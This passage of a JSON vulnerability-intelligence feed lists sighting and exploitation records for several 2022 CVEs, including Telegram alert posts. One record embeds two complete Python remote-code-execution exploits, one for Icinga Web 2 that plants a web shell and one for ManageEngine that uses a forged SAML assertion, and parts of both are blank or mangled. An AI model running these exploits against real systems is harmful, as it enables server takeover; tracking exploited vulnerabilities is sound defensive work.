\u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043f\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0424\u0411\u0420 \u0438 CISA. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c ThinkPHP \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.0.14 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GraphAPI 0.3.1 \u0434\u043b\u044f ownCloud, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #ThinkPHP #ownCloud\n\n@ZerodayAlert", "creation_timestamp": "2026-08-06T05:00:06.251460Z"}, {"uuid": "e78c3114-a7d7-4dea-b451-fae62a65b8cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-21)", "content": "", "creation_timestamp": "2026-06-21T00:00:00.000000Z"}, {"uuid": "63da70e1-d455-4009-ac21-13d880f3deaa", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/eaf8f396-39df-4c79-997c-ca40f82bfd5a", "content": "", "creation_timestamp": "2026-06-23T14:03:21.384461Z"}, {"uuid": "da5e6b6c-53b0-4f5d-9db6-288a5066e6bb", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/89c24d1e-4f2b-4d73-9ab1-a804d9cbfd02", "content": "", "creation_timestamp": "2026-06-23T14:03:32.741802Z"}, {"uuid": "284ab8e9-6054-4469-9533-1cefb2e17a6b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/dbb872c5-33ac-453a-ac75-b317dc8bdac9", "content": "", "creation_timestamp": "2026-06-23T14:05:36.465721Z"}, {"uuid": "bd6a8a94-abc7-4ba0-a322-688080c902f0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c11e9007-3c3d-43e0-8c54-02ac9c9b31e7", "content": "", "creation_timestamp": "2026-06-23T14:05:37.460413Z"}, {"uuid": "5002ff34-069e-4a0f-b482-01fb6f19ea82", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47615", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ecbb4555-9f0f-4b3e-8f4e-ef150620b440", "content": "", "creation_timestamp": "2026-06-23T14:06:14.220222Z"}, {"uuid": "921b3636-2774-4486-a751-b8b9aea8ff10", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c2fa95dd-2cbf-499d-b2c9-bf2f52ba122d", "content": "", "creation_timestamp": "2026-06-30T09:22:54.594469Z"}, {"uuid": "b95982a0-19aa-4156-9099-76b617595998", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-47615", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c47f37ee-9801-4ef3-a88b-4c9749d6226b", "content": "", "creation_timestamp": "2026-06-30T09:23:03.137250Z"}, {"uuid": "6e68619b-df64-43bf-aa4b-dc1324505e96", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d476cd36-d898-40a8-bd86-2bde23544df5", "content": "", "creation_timestamp": "2026-06-30T09:23:20.673872Z"}, {"uuid": "83d9db19-d060-474b-b6b4-062a8dda6721", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bb5c8e33-013f-40c6-bed4-a654f529caa9", "content": "", "creation_timestamp": "2026-06-30T09:23:11.695745Z"}, {"uuid": "a5b0d2c3-26a8-4014-b93f-b62f39ee6f20", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d821efe5-5e8f-4341-aff3-3177adf4d3f1", "content": "", "creation_timestamp": "2026-06-30T09:23:29.931691Z"}, {"uuid": "edbecc66-61d5-472b-826d-84c047fb4cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://gist.github.com/byt3n33dl3/5161bdcd67e51cfe5a50b3112382d951", "content": "#!/usr/bin/env python3\nimport argparse\nimport bs4\nimport random\nimport requests\n\n\nclass CVE_2022_24715:\n\n    random_private_key = '''-----BEGIN RSA PRIVATE KEY-----\nMIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAsQ/QH+NWTNSa/rY1\nFM0wGT2AMCBiwxGf9BUSVxwZjzwIJ21ZYzGePXa3Sl9WPFfL1iXTt8l25FyJlw/0\nBDk96wIDAQABAkEAmYm60kwSw+EA3qsl8HnVoa2BATq0Ka+Y4tF66+rEBz14CecK\n9kdF6Riti3ntt6OFplZ05zY/NyBl1lLcvY598QIhANlw08TR2/rYu9SchwSRQjs0\nN13yo/yLeZBjV3kaYCmNAiEA0HXmKiuuZbR4CtnZUptyja2ZG+47lbq4eyrVk1Fe\nW1cCIGFucxXAS2fNcezE7qMXS6wnq5+HN//Tp3cRbIKxVOGJAiAvOobrBvp8EGci\nDjkufgl2D96gdVkKk0M4pHu+5LB8AQIgZ31NPGShnAq4fNa71cNKbM7R3ywgijuV\ntAZB3bwiboU=\n-----END RSA PRIVATE KEY-----'''\n    php_web_shell = ''\n\n    def __init__(self, args):\n        self.url = args.target.rstrip('/')\n        self.session = requests.Session()\n        if args.proxy:\n            self.session.proxies = {'http': args.proxy, 'https': args.proxy}\n        self.creds = (args.username, args.password)\n        self.code = args.code + ';'\n\n    @staticmethod\n    def rand():\n        return random.randbytes(8).hex()\n\n    def csrf_post(self, path, data):\n        url = self.url + path\n        get_response = self.session.get(url)\n\n        soup = bs4.BeautifulSoup(get_response.text, 'lxml')\n        token = soup.find('input', {'id': 'CSRFToken'})['value']\n        data['CSRFToken'] = token\n\n        return self.session.post(url, data=data)\n\n    def exploit(self):\n        response = self.csrf_post('/authentication/login', {\n            'username': self.creds[0],\n            'password': self.creds[1],\n            'rememberme': '0',\n            'redirect': '',\n            'formUID': 'form_login',\n            'btn_submit': 'Login'\n        })\n        if response.status_code == 302:\n            print('Login successful!')\n\n        if self.session.get(self.url + '/shm/run').content.startswith(b'file://'):\n            print(self.execute())\n            return\n\n        self.csrf_post('/config/general', {\n            'global_show_stacktraces': '1',\n            'global_show_application_state_messages': '1',\n            'global_module_path': '/dev',\n            'global_config_resource': 'icingaweb2',\n            'logging_log': 'syslog',\n            'logging_level': 'ERROR',\n            'logging_application': 'icingaweb2',\n            'logging_facility': 'user',\n            'runs_default': 'Icinga',\n            'runs_disabled': '0',\n            'authentication_default_domain': '',\n            'formUID': 'form_config_general',\n            'btn_submit': 'Save Changes'\n        })\n\n        self.csrf_post('/config/moduleenable', {\n            'identifier': 'shm',\n            'btn_submit': 'btn_submit'\n        })\n\n        ssh_name = self.rand()\n\n        self.csrf_post('/config/createresource', {\n            'type': 'ssh',\n            'name': ssh_name,\n            'user': ssh_name,\n            'private_key': self.random_private_key,\n            'formUID': 'form_config_resource',\n            'btn_submit': 'Save Changes'\n        })\n\n        self.csrf_post('/config/createresource', {\n            'type': 'ssh',\n            'name': self.rand(),\n            'user': '../../../../../../dev/shm/run.php',\n            'private_key': f'file:///etc/icingaweb2/ssh/{ssh_name}\\x00' + self.php_web_shell,\n            'formUID': 'form_config_resource',\n            'btn_submit': 'Save Changes'\n        })\n\n        print(self.execute())\n\n    def execute(self):\n        post_data = {\"e\": self.code}\n        response = self.session.post(self.url + '/shm/run', data=post_data)\n        output = b''.join(response.content.split(b'')[:-1])[44:]\n        return output\n\n\ndef main():\n    parser = argparse.ArgumentParser(prog='CVE-2022-24715.py', description='Icinga Web 2 - CVE-2022-24715 Authenticated RCE Exploit')\n    required = parser.add_argument_group('required arguments')\n    required.add_argument('target', metavar='PROTO://HOST[:PORT][/PATH]', help='URI pointing to Icingaweb2 web root (Ex: \"http://example.com:8080/icingaweb2\")')\n    required.add_argument('-u', '--username', required=True, help='Icinga web account username')\n    required.add_argument('-p', '--password', required=True, help='Icinga web account password')\n    required.add_argument('-c', '--code', required=True, help='PHP code to run')\n    parser.add_argument('--proxy', default=None, metavar='PROTO://[USER:PASS@]HOST[:PORT]', help='Proxy to send requests through')\n\n    CVE_2022_24715(parser.parse_args()).exploit()\n\n\nif __name__ == '__main__':\n    main()\n\n#!/usr/bin/env python3\nimport urllib3\nimport base64\nimport requests\nimport argparse\nfrom xml.sax.saxutils import escape\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nparser = argparse.ArgumentParser(description=\"ManageEngine CVE-2022-47966 PoC (fixed structure & escaping)\")\nparser.add_argument(\"--url\", type=str, required=True, help=\"Target SAML endpoint (e.g. https://host:9251/samlLogin/...)\")\nparser.add_argument(\"--command\", type=str, required=True, help=\"Command to execute on the target (will be placed in the XSLT)\")\nparser.add_argument(\"--issuer\", type=str, required=True, help=\"Issuer URL for the SAML assertion\")\nparser.add_argument(\"--relay-state\", type=str, required=False, default=\"\", help=\"RelayState value (if required)\")\nargs = parser.parse_args()\n\nurl = args.url\ncommand = args.command\nissuer = args.issuer\nrelay_state = args.relay_state\n\n# Escape XML special characters in the injected command\ncmd_escaped = escape(command, {\"'\": \"'\", '\"': \""\"})\n\n# Keep the Assertion ID constant so the ds:Reference URI matches it\nassertion_id = \"_b5a2e9aa-8955-4ac6-94f5-334047882600\"\n\nsaml = f\"\"\"\n\n  \n    \n  \n\n  \n  \n    {issuer}\n\n    \n      \n        \n        \n        \n          \n            \n            \n              \n                \n                  \n                  \n                  \n                  \n                \n              \n            \n          \n          \n          H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=\n        \n      \n      RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw==\n      \n    \n  \n\n\"\"\"\n\nencoded_saml = base64.b64encode(saml.encode()).decode()\n\ndata = {\n    \"SAMLResponse\": encoded_saml,\n}\nif relay_state:\n    data[\"RelayState\"] = relay_state\n\nprint(f\"[+] POST {url}\")\nprint(f\"[+] Issuer: {issuer}\")\nif relay_state:\n    print(f\"[+] RelayState: {relay_state}\")\n\nresponse = requests.post(url, data=data, verify=False, allow_redirects=True, timeout=20)\n\nprint(f\"[+] HTTP {response.status_code}\")\nprint(f\"[+] Final URL: {response.url}\")\n# print a chunk of response so you can look for evidence the XSLT ran (or process string)\nprint(response.text[:4000])", "creation_timestamp": "2026-08-10T18:03:51.588593Z"}, {"uuid": "2b7a7841-38a0-4aea-98c6-0d8c7ace0d17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "https://t.me/ZerodayAlert/426", "content": "\u0421\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0443\u0433\u0440\u043e\u0436\u0430\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441\u0443 \u0432 2025 \u0433\u043e\u0434\u0443\n\n\u26a0\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b GreyNoise \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0440\u0435\u0437\u043a\u0438\u0439 \u0440\u043e\u0441\u0442 \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ThinkPHP \u0438 ownCloud, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0435\u0449\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0430\u0442\u0447\u0435\u0439, \u0442\u044b\u0441\u044f\u0447\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\ud83c\udf10 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-47945 \u0432 ThinkPHP \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 570 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434. \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0442\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u0430\u0442\u0430\u043a \u043d\u0430 CVE-2023-49103 \u0432 ownCloud, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e PHP-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443.\n\n\ud83d\udee1 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043f\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0424\u0411\u0420 \u0438 CISA. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c ThinkPHP \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.0.14 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GraphAPI 0.3.1 \u0434\u043b\u044f ownCloud, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #ThinkPHP #ownCloud\n\n@ZerodayAlert", "creation_timestamp": "2026-08-07T00:32:28.890594Z"}, {"uuid": "46833442-7591-4cf6-b17b-cbeae39e95fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47542", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpzb2d43q32b", "content": "\ud83d\udccc CVE-2022-47542 - Red Gate SQL Monitor 11.0.14 through 12.1.46 has Incorrect Access Control, exploitable remotely for Escalation of Privileges. https://www.cyberhub.blog/cves/CVE-2022-47542", "creation_timestamp": "2026-07-06T23:37:07.112975Z"}, {"uuid": "2ff82a76-6b6c-4dc7-bc95-8fdf04bc2955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-09)", "content": "", "creation_timestamp": "2026-07-10T10:00:09.224933Z"}, {"uuid": "f69f3776-f997-4dc2-8da7-e1e7573c7968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-09)", "content": "", "creation_timestamp": "2026-07-10T10:15:05.642314Z"}, {"uuid": "419611a1-e6af-4878-b5e0-42efbbfbc699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-10)", "content": "", "creation_timestamp": "2026-07-11T10:15:11.044404Z"}, {"uuid": "5e03da1a-c1f6-4f2a-8269-be0d1cf15073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-11)", "content": "", "creation_timestamp": "2026-07-12T10:15:05.039013Z"}, {"uuid": "24aabad8-d6ae-41bc-bd97-2e2d4b2bd749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/GithubRedTeam/92159", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2022-47966\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sh4den\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 7  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 08:38:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe manage engine mass loader for CVE-2022-47966\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:11.444099Z"}, {"uuid": "844f6b16-61fa-4b25-8b40-096866969c2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/GithubRedTeam/90323", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2022-47966\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SystemVll\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 7  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-23 21:20:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe manage engine mass loader for CVE-2022-47966\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:20.614227Z"}, {"uuid": "e62f2152-2b77-4b37-b447-868be52de29e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/GithubRedTeam/90323", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2022-47966\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SystemVll\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 7  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-23 21:20:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe manage engine mass loader for CVE-2022-47966\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:36.613977Z"}, {"uuid": "53230243-7858-417b-99ea-f868bf89cf0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/GithubRedTeam/92159", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2022-47966\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sh4den\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 7  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 08:38:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe manage engine mass loader for CVE-2022-47966\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T01:00:14.137996Z"}, {"uuid": "4445dd1d-5dd8-4d4f-abe8-65de05f7e3b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90323", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2022-47966\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SystemVll\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 7  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-23 21:20:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe manage engine mass loader for CVE-2022-47966\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:19.963035Z"}, {"uuid": "5a36949d-49af-47e3-a292-e14458c8bdee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92159", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2022-47966\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sh4den\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 7  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 08:38:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe manage engine mass loader for CVE-2022-47966\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:30.371922Z"}, {"uuid": "d282c584-a1a1-4d8a-a306-494f61138925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4722", "type": "seen", "source": "https://gist.github.com/Raiders0786/13386ce9b5d01281a91b90d60e1225b3", "content": "# Security Audit Profile \u2014 Raiders0786\n\nGMT+5:30, India\nEmail: chiragkcv2020@gmail.com\n\n**Public CVEs:** 